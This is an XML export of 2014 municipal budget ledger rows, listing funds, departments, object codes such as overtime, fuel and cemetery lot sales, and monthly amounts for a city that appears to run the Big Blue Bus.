<row _id="9992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-36414.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36414.0</total></row>
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<row _id="9995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522961.0</object><object_description>FUEL-SERVICE VEHICLES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>102500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102500.0</total></row>
<row _id="9996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>9.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9.0</total></row>
<row _id="9997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6571.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6571.0</total></row>
<row _id="9998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6083.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6083.0</total></row>
<row _id="9999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35319.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35319.0</total></row>
<row _id="10000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="10001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43751.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43751.0</total></row>
<row _id="10002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23871.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23871.0</total></row>
<row _id="10003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1189.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1189.0</total></row>
<row _id="10004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4512.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4512.0</total></row>
<row _id="10005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566820.0</object><object_description>SMMUSD JOINT USE AGREEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8489716.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8489716.0</total></row>
<row _id="10006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-232291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-232291.0</total></row>
<row _id="10007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-2395940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2395940.0</total></row>
<row _id="10008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1442223.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1442223.0</total></row>
<row _id="10009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>412022.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>412022.0</total></row>
<row _id="10010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1020217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1020217.0</total></row>
<row _id="10011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1127231.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1127231.0</total></row>
<row _id="10012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18222.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18222.0</total></row>
<row _id="10013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1450992.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1450992.0</total></row>
<row _id="10014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402440.0</object><object_description>DAMAGE REPAIR WORK</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="10015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402230.0</object><object_description>MAUSOLEUM-MISC SALES/SVCS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-27706.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27706.0</total></row>
<row _id="10016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="10017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-22000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-192774.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-214774.0</total></row>
<row _id="10018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405060.0</object><object_description>ENGINEERING COUNTER SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6564.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6564.0</total></row>
<row _id="10019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75850.0</total></row>
<row _id="10020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23816.0</total></row>
<row _id="10021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="10022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17201.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17201.0</total></row>
<row _id="10023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="10024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>47178.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>-17870.42</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29307.58</total></row>
<row _id="10025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15715.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15715.0</total></row>
<row _id="10026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1650.0</total></row>
<row _id="10027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>550000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550000.0</total></row>
<row _id="10028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402350.0</object><object_description>WATER - MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-316806.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-316806.0</total></row>
<row _id="10029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402360.0</object><object_description>WATER - METER SRVC / INSTALL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-312000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-312000.0</total></row>
<row _id="10030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402370.0</object><object_description>REIMB FROM OTHER FUNDS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-431080.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-431080.0</total></row>
<row _id="10031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-115000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-115000.0</total></row>
<row _id="10032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404800.0</object><object_description>WATER DEMAND MITIGATION FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-300000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="10033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="10034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405930.0</object><object_description>TRANSFER STATION - CITY DEPTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-390000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-390000.0</total></row>
<row _id="10035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402200.0</object><object_description>CEMETERY LOT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-493999.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-493999.0</total></row>
<row _id="10036"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-35000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="10037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>400210.0</object><object_description>CITY CLERK COUNTER FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-788.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-788.0</total></row>
<row _id="10038"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401030.0</object><object_description>HAZ MAT RESPONSE RECOVERY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-20500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20500.0</total></row>
<row _id="10039"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5300.0</total></row>
<row _id="10040"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27450.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27450.0</total></row>
<row _id="10041"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20900.0</total></row>
